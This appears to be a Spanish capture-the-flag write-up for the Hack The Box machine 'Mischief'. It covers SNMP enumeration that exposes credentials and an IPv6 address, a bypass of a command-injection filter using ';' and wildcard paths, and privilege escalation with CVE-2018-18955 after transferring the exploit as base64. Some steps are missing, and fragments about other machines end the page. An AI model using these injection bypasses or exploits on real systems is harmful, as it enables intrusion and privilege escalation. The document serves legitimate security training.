# TCP$ nmap -sT -Pn -p- --open 10.129.23.233 # Muestra 22,3366$ nmap -sT -Pn -p22,3366 -sVC 10.129.23.233
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open http Python BaseHTTPServer http.server 2 or 3.0 - 3.1
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesnt have a title (text/html).
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# UDPPORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: Mischief
22/tcp (OpenSSH 7.6p1): Versión con alguna vulnerabilidad no relevante.
3366/tcp (SimpleHTTP/0.6 Python/2.7.15rc1): Servidor web, hecho con Python2, que ya está obsoleto. La versión de Python tiene algunas vulnerabilidades, pero ninguna relevante.
161/udp (SNMPv1 server; net-snmp SNMPv3 server (public)): La parte interesante. Si podemos acceder con la clave pública podremos sacar bastante información útil del sistema.
Si ejecutamos nmap con el flag -C (o como se usa normalmente, -sVC), usará varios scripts para enumerar el servicio SNMP y nos dará unos resultados más estructurados que lo que nos daría snmpwalk (que dumpea todo el MIB de golpe). El resultado de dichos script es este:
1
2
3
4
5
6
7
8
9
10
11
12
# INTERFACES DE RED| snmp-interfaces:
| lo
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 10 Mbps
| Traffic stats: 0.00 Kb sent, 0.00 Kb received
|
| Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
| IP address: 10.129.23.233 Netmask: 255.255.0.0
| MAC address: a2:de:ad:0e:4f:d6 (Unknown)
| Type: ethernetCsmacd Speed: 1 Gbps
|_ Traffic stats: 540.49 Kb sent, 603.71 Kb received
Esto muestra solo 2 interfaces: loopback y la pública (10.129.23.233). No nos da ninguna interfaz o IP nueva, y sería interesante ver si podemos encontrar alguna IPv6 con otro set de servicios expuestos, aunque no parece que haya ninguna.
Respecto a los sockets, vemos algunos abiertos, entre ellos destacan los puertos de MySQL (3306) y DNS (53).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# PROCESOS (Solo parte importante, hay MUCHOS)| 780: # Vemos el usuario loki y la ruta absoluta de su $PATH en el sistema.| Name: sh
| Path: /bin/sh
| Params: /home/loki/hosted/webstart.sh
| 788: # Servidor. TENEMOS CREDENCIALES!!!| Name: python
| Path: python
| Params: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
...[SNIP]...
| 892: # Confirma MySQL| Name: mysqld
| Path: /usr/sbin/mysqld
| Params: --daemonize --pid-file=/run/mysqld/mysqld.pid
Nmap también nos muestra todos los programas instalados y sus versiones. Son ~625, así que no podemos ir mirando de uno en uno versiones y sus vulnerabilidades. En cualquier caso, algunos de los programas relevantes son estos:
Stack LAMP: apache2, php7.2 y mysql-server
Containers LXC: lxd-client y lxcfs. Puede ser interesante mirar si pertenecemos al grupo lxc cuando tengamos el foothold.
Ahora vamos con snmpwalk, que nos permite sacar todo de forma más granular.
1
2
3
4
5
6
7
8
9
10
$ snmpwalk -v2c -c public 10.129.23.233 1.3.6.1.2.1.1
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64"iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (341917) 0:56:59.17
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"iso.3.6.1.2.1.1.5.0 = STRING: "Mischief"iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"iso.3.6.1.2.1.1.7.0 = INTEGER: 72iso.3.6.1.2.1.1.8.0 = Timeticks: (27) 0:00:00.27
...
Aquí vemos que el Hostname es Mischief, y que la supuesta ubicación física del sistema es "Sitting on the Dock of the Bay", aunque nuevo y útil solo es lo primero.
En cualquier caso, no hay mucha más información que podamos encontrar, pero ya tenemos un usuario, una contraseña, la versión del kernel, el hostname y algunas cosas más.
Antes de ir a por HTTP, vamos a probar a iniciar sesión por SSH con las credenciales que ya tenemos: loki:godofmischiefisloki.
Introducimos las que ya teníamos, loki:godofmischiefisloki, y entramos. Ahí vemos esto.
Vemos una tabla con una contraseña nueva: trickeryanddeceit. Si probamos a iniciar sesión por SSH con la nueva contraseña, tampoco funcionará, pero igualmente nos la guardamos para luego.
Además también vemos una ilustración que representa a Loki. Es la misma imagen que aparece en Wikipedia en la página de Loki. Según Google:
Loki es un dios y gigante de la mitología nórdica asociado con el engaño.
La imagen pertenece al manuscrito islandés SÁM 66, creado en el año 1765. Es una acuarela pintada sobre pergamino. El documento original se conserva en Islandia.
Esta información probablemente no sirva de mucho, pero está bien saberlo. En cualquier caso, podemos enumerar directorios y archivos, a ver si hay algo, porque la página (y el código fuente) parecen algo vacíos. Para ello, tendremos que usar la autenticación básica de HTTP, o todas las páginas nos darán error 401.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ echo -n "loki:godofmischiefisloki" | base64
bG9raTpnb2RvZm1pc2NoaWVmaXNsb2tp
$ $ gobuster dir -u http://10.129.23.233:3366 -H "Authorization: Basic bG9raTpnb2RvZm1pc2NoaWVmaXNsb2tp" -w DirBuster-2007_directory-list-2.3-medium.txt -x php,jpg
# -H "Auth..." -> Para usar HTTP Basic Auth (iniciar sesión)# -ic -> Ignorar comentarios (#) en wordlist# -e php,jpg -> Sabemos que se usa el stack LAMP, no sería raro que hubiese algo .php.# El jpg es simplemente para comprobar que funciona, sabemos que existe un "loki.jpg". Luego lo quitamos para que vaya más rápido.==============================================================
Starting gobuster in directory enumeration mode
===============================================================
loki.jpg (Status: 200) [Size: 1095063]
...
Pero tampoco encuentra nada. Parece que vamos a tener que volver a SNMP, porque algo nos hemos tenido que dejar.
Aunque el valor de cada OID se marca como INTEGER: 2 o INTEGER: 1, lo importante es el número del OID. Aquí vemos que p.ej iso.3.6.1.2.1.4.34.1.3.1.4.10.129.23.233 representa la IP 10.129.23.233, así que podemos quitar todo el iso.3.6.1.2.1.4.34.1.3.1.4., que es un prefijo, en el resto de IPs.
Pero curiosamente hay unas que no tienen ese prefijo, sino que tienen iso.3.6.1.2.1.4.34.1.3.2.16.. Si a la primera de ellas (la que tiene casi todo ceros) le quitamos esto, queda 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1, y si consideramos cada uno de esos números como un valor de 0 a 255 (8 bits), tenemos un total de 128 bits, la longitud de una dirección IPv6.
Si convertimos cada una de las direcciones, estas quedan así:
1
2
3
4
5
6
7
8
# ORIGINAL: 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1::1 # Dirección Loopback# ORIGINAL: 222.173.190.239.0.0.0.0.160.222.173.255.254.14.79.214dead:beef::a0de:adff:fe0e:4fd6 # Posible placeholder (por el dead:beef), podemos usarlo.# ORIGINAL: 254.128.0.0.0.0.0.0.160.222.173.255.254.14.79.214fe80::a0de:adff:fe0e:4fd6 # Dirección Link-Local (basada en la MAC del dispositivo)
Las que nos interesan de aquí son la Link-Local, una dirección que se crea automáticamente basándose en la MAC del dispositivo y que sirve para identificar a la máquina dentro de su subred o enlace local sin necesidad de DHCP o config. manual, y la que dice DEAD:BEEF, que puede servirnos también.
Nota: Dirección Link-Local y SNMP
El hecho de que la dirección Link-Local pueda generarse a partir de la MAC del dispositivo es interesante porque abre otras posibilidades a la hora de descubrir esta dirección.
La historia que contó Ippsec en una entrevista es un buen ejemplo. Estaba haciendo una máquina de HTB y sabía que tenía que encontrar una dirección IPv6. Esta dirección podía descubrirse por un servicio SNMP expuesto (como aquí), pero se olvidó de enumerar UDP y no encontró el puerto.
Para conseguir la IPv6, inició otra máquina, consiguió un foothold e hizo un ARP en la subred para conseguir la MAC de la máquina cuya IPv6 quería conseguir (Esto posiblemente no pueda hacerse ahora porque las máquinas son individuales para cada usuario). Con esta MAC calculó la IPv6 Link-Local, y así consiguió avanzar en la otra máquina.
Curiosamente, esa entrevista la había leído ya antes de hacer esta máquina y la tenía en mente cuando descubrí el puerto IPv6, así que activamente buscaba una dirección IPv6 entre todos los valores de los OID, pero por desgracia, el hecho de que estuviese codificada de forma diferente a la usual me hizo perdérmela la primera vez.
# Link-Local$ sudo nmap -sT -Pn -p- --open -6 -e tun0 fe80::a0de:adff:fe0e:4fd6
... # Tarda bastante y no muestra puertos abiertos.# DeadBeef$ sudo nmap -sT -Pn -p- -sVC --open -6 -e tun0 dead:beef::a0de:adff:fe0e:4fd6
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: a2:de:ad:0e:4f:d6
|_ manuf: Unknown
Bingo. Tenemos un servicio HTTP abierto en el puerto 80. Para facilitarnos la vida, añadimos la IP dead:beef::a0de:adff:fe0e:4fd6 con un nombre arbitrario a /etc/hosts, como mischief.htb.
Por suerte, tenemos las contraseñas trickeryanddeceit y godofmischiefisloki para el usuario loki. Si usamos el usuario loki con ambas credenciales, veremos que no funciona, pero si probamos algunos usuarios como root, admin, administrator, etc. al final daremos con administrator:trickeryanddeceit.
Vemos un panel que permite ejecutar comandos:
Probamos a mandar un reverse shell (El de mkfifo) y…
1
Command is not allowed.
Curiosamente, si mandamos el payload por defecto: ping -c 2 127.0.0.1, el output es:
1
Command was executed succesfully!
Pero si le añadimos un ; al final, de forma que quede ping -c 2 127.0.0.1;, el resultado es:
1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.057 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.089 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1007ms rtt min/avg/max/mdev = 0.057/0.073/0.089/0.016 ms Command was executed succesfully!
Es decir, el output del comando ping -c 2 127.0.0.1.
En la página se nos indica esto: "In my home directory, i have my password in a file called credentials, Mr Admin", por lo que puede ser interesante acceder a este archivo. Sabemos que para ver el output del primer comando hay que ponerle ; al final, así que probamos:
1
2
3
4
5
6
7
8
Comando: cat /home/loki/credentials;
Output: Command is not allowed.
Comando: ls /home/loki;
Output: Command is not allowed.
Comando: ls .;
Output: Command is not allowed.
Parece que los comandos ls y cat están prohibidos, así que podemos usar una alternativa, como esta:
Podemos probar varias alternativas a cat: tac, awk, sed, more, less, head, tail, grep, base64, xxd, etc. pero NINGUNA funciona. Pasado un rato, se me ocurre probar con diff, que sirve para comparar dos archivos, y tampoco funciona, pero empiezo a pensar que quizás es porque los comandos no funcionan en conjunto con /home/loki/credentials, así que uso /home/loki/cred* en su lugar, que representa lo mismo, y…
Antes ya habíamos visto que la máquina tenía varias vulnerabilidades de escalada de privilegios, principalmente CVE-2018-18955 y CVE-2021-3493. Vamos a probar con la primera.
Por alguna razón no podía iniciar un servidor web básico y descargar las cosas de ahí, así que simplemente copiamos y pegamos el script, y usamos base64 para pasar el zip:
1
2
3
4
5
6
7
8
9
10
11
$ base64 47166.zip
UEsDBAoAAAAAANlR+k4AAAAAAAAAAAAAAAAKABAAbGRwcmVsb2FkL1VYDACVxDpdicQ6XfUBFABQ
SwMEFAAIAAgALnH4TgAAAAAAAAAAAAAAABUAEABsZHByZWxvYWQvcm9vdHNoZWxsLmNVWAwAisQ6
XYhYOF31ARQAU87MS84pTUlVsCkuScnM18uw41JGCFUW65dUFqQWowqX5mUCFYPEMvNKFHITM/M0
yvIzUzS5qrkUFIpTS0ozUzQMNK0hnHQ4J7UiNTlHQ0k/KTNPPymxOENJR0EJSvuF+vgA1dRyAQBQ
SwcIgOF5OGgAAACPAAAAUEsDBAoAAAAAAOFR+k4AAAAAAAAAAAAAAAAJABAAX19NQUNPU1gvVVgM
AJXEOl2VxDpd9QEUAFBLAwQKAAAAAADhUfpOAAAAAAAAAAAAAAAAEwAQAF9fTUFDT1NYL2xkcHJl
bG9hZC9VWAwAlcQ6XZXEOl31ARQAUEsDBBQACAAIAC5x+E4AAAAAAAAAAAAAAAAgABAAX19NQUNP
...
# Lo copiamos y pegamos a un archivo en la máquina. En mi caso, lo llamo "zipb64".
# En la máquinaloki@Mischief:/tmp$ sha256sum 47166.zip
8f7baa0decd0ddec97925c1707ba49b87f32106b4366825378591fc47f191479 47166.zip
# ZIP Local$ sha256sum 47166.zip
8f7baa0decd0ddec97925c1707ba49b87f32106b4366825378591fc47f191479 47166.zip
OS: Linux | Dificultad: Easy | Conceptos: Command Injection en daemon LPD, Servicio JetDirect/PJL con path traversal, Creación de claves SSH, Paso de file descriptors a través de socket Unix.
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.